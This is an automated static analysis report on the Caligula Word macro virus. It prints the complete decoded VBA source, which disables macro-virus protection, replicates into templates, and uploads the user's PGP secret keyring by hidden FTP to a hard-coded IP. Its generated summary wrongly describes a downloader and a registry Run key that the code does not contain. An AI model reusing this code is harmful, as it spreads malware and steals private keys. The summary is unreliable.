Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b6e2f3951a6c4471…

MALICIOUS

Office (OLE)

45.0 KB Created: 1998-12-11 15:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 463a39a97dd763752f0a14be63d44506 SHA-1: 1ff5b5223ae3fc97319bf8a2d90c06fd235c2b04 SHA-256: b6e2f3951a6c4471900c89ecf71b3704ed84837eaaf675a84ac23c4f35bcf9ca
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and a critical 'Shell()' call within its VBA code, indicating an attempt to execute arbitrary commands. The AutoClose macro is designed to disable security features and export a component to 'c:\io.vxd', likely to facilitate the execution of a second-stage payload. The presence of the 'Shell()' call and the export of a file suggest a downloader or dropper functionality, with the specific registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy' being a strong indicator of persistence.

Heuristics 8

  • ClamAV: Doc.Trojan.Caligula-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Caligula-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "command.com /c ftp.exe -n -s:c:\cdbrk.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Bare IPv4 address in VBA string literal (1 address) low OLE_VBA_BARE_IPV4_LITERAL
    VBA source contains one or more globally-routable IPv4 addresses as plain string literals with no URL scheme. These are commonly C2 or download hosts that only get http:// prepended at runtime, so the normal URL extractors miss them. Surfaced as http://<ip> IOCs. Private, reserved and version/build-shaped values are excluded.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://209.201.88.110 Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11008 bytes
SHA-256: 3a2b48682c4d7b9097fa4efd10259efce3da1e5afeb16cb1a5ab587a1c1e04c4
Detection
ClamAV: Doc.Trojan.Caligula-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Caligula"
Sub AutoClose()

On Error Resume Next
    
With Dialogs(wdDialogFileSummaryInfo)
.Author = "Opic"
.Title = "WM97/Caligula Infection"
.Subject = "A Study In Espionage Enabled Viruses."
.Comments = "The Best Security Is Knowing The Other Guy Hasn't Got Any."
.Keywords = " | Caligula | Opic | CodeBreakers | "
.Execute
End With

Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False

Application.ScreenUpdating = False
Application.DisplayStatusBar = False
Application.DisplayAlerts = False

CommandBars("tools").Controls("Macro").Enabled = False
CommandBars("tools").Controls("Customize...").Enabled = False
CommandBars("view").Controls("Toolbars").Enabled = False
CommandBars("view").Controls("Status Bar").Enabled = False

If NormalTemplate.VBProject.VBComponents.Item("Caligula").Name <> "Caligula" Then
NotInNorm = True
ActiveDocument.VBProject.VBComponents("Caligula").Export "c:\io.vxd"
Set Dobj = NormalTemplate.VBProject
ElseIf ActiveDocument.VBProject.VBComponents.Item("Caligula").Name <> "Caligula" Then
NotInActiv = True
NormalTemplate.VBProject.VBComponents("Caligula").Export "c:\io.vxd"
Set Dobj = ActiveDocument.VBProject
End If

If NotInNorm = True Or NotInActiv = True Then Dobj.VBComponents.Import ("c:\io.vxd")

If Day(Now) = 31 Then MsgBox "No cia," & vbCr & "No nsa," & vbCr & "No satellite," & vbCr & "Could map our veins.", 0, "WM97/Caligula (c) Opic [CodeBreakers 1998]"

If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Caligula") = False) Then

pgppath = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PGP Encrypted File\shell\open\command", "")
Position = InStr(1, pgppath, "pgpt")

If Position <> 0 Then
pgppath = Mid(pgppath, 1, Position - 2)
Else
GoTo noPGP
End If

With Application.FileSearch
    .FileName = "\Secring.skr"
    .LookIn = pgppath
    .SearchSubFolders = True
    .MatchTextExactly = True
    .FileType = msoFileTypeAllFiles
    .Execute
    PGP_Sec_Key = .FoundFiles(1)
End With

Randomize
  For i = 1 To 4
    NewSecRingFile = NewSecRingFile + Mid(Str(Int(8 * Rnd)), 2, 1)
  Next i
  NewSecRingFile = "./secring" & NewSecRingFile & ".skr"

Open "c:\cdbrk.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "binary"
    Print #1, "put """ & PGP_Sec_Key & """ """ & NewSecRingFile & """"
    Print #1, "quit"
    Close #1

Shell "command.com /c ftp.exe -n -s:c:\cdbrk.vxd", vbHide

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Caligula") = True

End If

noPGP:

If NotInActiv = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub


' Processing file: /tmp/qstore_iuy24gve
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/Caligula - 10306 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' Line #4:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #5:
' 	LitStr 0x0004 "Opic"
' 	MemStWith Author 
' Line #6:
' 	LitStr 0x0017 "WM97/Caligula Infection"
' 	MemStWith Title 
' Line #7:
' 	LitStr 0x0025 "A Study In Espionage Enabled Viruses."
' 	MemStWith Subject 
' Line #8:
' 	LitStr 0x003A "The Best Security Is Knowing The Other Guy Hasn't Got Any."
' 	MemStWith Comments 
' Line #9:
' 	LitStr 0x0024 " | Caligula | Opic | CodeBreakers | "
' 	MemStWith Keywords 
' Line #10:
' 	ArgsMemCallWith Execute 0x0000 
' Line #11:
' 	EndWith 
' Line #12:
' Line #13:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #14:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #15:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #16:
' Line #17:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #18:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt DisplayStatusBar 
' Line #19:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #20:
' Line #21:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #22:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Customize..."
' 	LitStr 0x0005 "tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #23:
' 	LitVarSpecial (False)
' 	LitStr 0x0008 "Toolbars"
' 	LitStr 0x0004 "view"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #24:
' 	LitVarSpecial (False)
' 	LitStr 0x000A "Status Bar"
' 	LitStr 0x0004 "view"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #25:
' Line #26:
' 	LitStr 0x0008 "Caligula"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0008 "Caligula"
' 	Ne 
' 	IfBlock 
' Line #27:
' 	LitVarSpecial (True)
' 	St NotInNorm 
' Line #28:
' 	LitStr 0x0009 "c:\io.vxd"
' 	LitStr 0x0008 "Caligula"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #29:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	Set Dobj 
' Line #30:
' 	LitStr 0x0008 "Caligula"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0008 "Caligula"
' 	Ne 
' 	ElseIfBlock 
' Line #31:
' 	LitVarSpecial (True)
' 	St NotInActiv 
' Line #32:
' 	LitStr 0x0009 "c:\io.vxd"
' 	LitStr 0x0008 "Caligula"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #33:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	Set Dobj 
' Line #34:
' 	EndIfBlock 
' Line #35:
' Line #36:
' 	Ld NotInNorm 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NotInActiv 
' 	LitVarSpecial (True)
' 	Eq 
' 	Or 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0009 "c:\io.vxd"
' 	Paren 
' 	Ld Dobj 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' 	EndIf 
' Line #37:
' Line #38:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x001F 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0007 "No cia,"
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x0007 "No nsa,"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x000D "No satellite,"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x0014 "Could map our veins."
' 	Concat 
' 	LitDI2 0x0000 
' 	LitStr 0x002A "WM97/Caligula (c) Opic [CodeBreakers 1998]"
' 	ArgsCall MsgBox 0x0003 
' 	EndIf 
' Line #39:
' Line #40:
' 	LitStr 0x0000 ""
' 	LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' 	LitStr 0x0008 "Caligula"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitVarSpecial (False)
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #41:
' Line #42:
' 	LitStr 0x0000 ""
' 	LitStr 0x0037 "HKEY_CLASSES_ROOT\PGP Encrypted File\shell\open\command"
' 	LitStr 0x0000 ""
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	St pgppath 
' Line #43:
' 	LitDI2 0x0001 
' 	Ld pgppath 
' 	LitStr 0x0004 "pgpt"
' 	FnInStr3 
' 	St Position 
' Line #44:
' Line #45:
' 	Ld Position 
' 	LitDI2 0x0000 
' 	Ne 
' 	IfBlock 
' Line #46:
' 	Ld pgppath 
' 	LitDI2 0x0001 
' 	Ld Position 
' 	LitDI2 0x0002 
' 	Sub 
' 	ArgsLd Mid$ 0x0003 
' 	St pgppath 
' Line #47:
' 	ElseBlock 
' Line #48:
' 	GoTo noPGP 
' Line #49:
' 	EndIfBlock 
' Line #50:
' Line #51:
' 	StartWithExpr 
' 	Ld Application 
' 	MemLd FileSearch 
' 	With 
' Line #52:
' 	LitStr 0x000C "\Secring.skr"
' 	MemStWith FileName 
' Line #53:
' 	Ld pgppath 
' 	MemStWith LookIn 
' Line #54:
' 	LitVarSpecial (True)
' 	MemStWith SearchSubFolders 
' Line #55:
' 	LitVarSpecial (True)
' 	MemStWith MatchTextExactly 
' Line #56:
' 	Ld msoFileTypeAllFiles 
' 	MemStWith FileType 
' Line #57:
' 	ArgsMemCallWith Execute 0x0000 
' Line #58:
' 	LitDI2 0x0001 
' 	ArgsMemLdWith FoundFiles 0x0001 
' 	St PGP_Sec_Key 
' Line #59:
' 	EndWith 
' Line #60:
' Line #61:
' 	ArgsCall Read 0x0000 
' Line #62:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #63:
' 	Ld NewSecRingFile 
' 	LitDI2 0x0008 
' 	Ld Rnd 
' 	Mul 
' 	FnInt 
' 	ArgsLd Str 0x0001 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Add 
' 	St NewSecRingFile 
' Line #64:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #65:
' 	LitStr 0x0009 "./secring"
' 	Ld NewSecRingFile 
' 	Concat 
' 	LitStr 0x0004 ".skr"
' 	Concat 
' 	St NewSecRingFile 
' Line #66:
' Line #67:
' 	LitStr 0x000C "c:\cdbrk.vxd"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #68:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0010 "o 209.201.88.110"
' 	PrintItemNL 
' Line #69:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000E "user anonymous"
' 	PrintItemNL 
' Line #70:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000B "pass itsme@"
' 	PrintItemNL 
' Line #71:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000B "cd incoming"
' 	PrintItemNL 
' Line #72:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0006 "binary"
' 	PrintItemNL 
' Line #73:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0005 "put ""
' 	Ld PGP_Sec_Key 
' 	Concat 
' 	LitStr 0x0003 "" ""
' 	Concat 
' 	Ld NewSecRingFile 
' 	Concat 
' 	LitStr 0x0001 """
' 	Concat 
' 	PrintItemNL 
' Line #74:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0004 "quit"
' 	PrintItemNL 
' Line #75:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #76:
' Line #77:
' 	LitStr 0x0029 "command.com /c ftp.exe -n -s:c:\cdbrk.vxd"
' 	Ld vbHide 
' 	ArgsCall Shell 0x0002 
' Line #78:
' Line #79:
' 	LitVarSpecial (True)
' 	LitStr 0x0000 ""
' 	LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' 	LitStr 0x0008 "Caligula"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #80:
' Line #81:
' 	EndIfBlock 
' Line #82:
' Line #83:
' 	Label noPGP 
' Line #84:
' Line #85:
' 	Ld NotInActiv 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' 	EndIf 
' Line #86:
' 	EndSub 
' Line #87:
' 	FuncDefn (Sub ToolsMacro())
' Line #88:
' 	EndSub 
' Line #89:
' 	FuncDefn (Sub FileTemplates())
' Line #90:
' 	EndSub 
' Line #91:
' 	FuncDefn (Sub ViewVBCode())
' Line #92:
' 	EndSub 
' Line #93:

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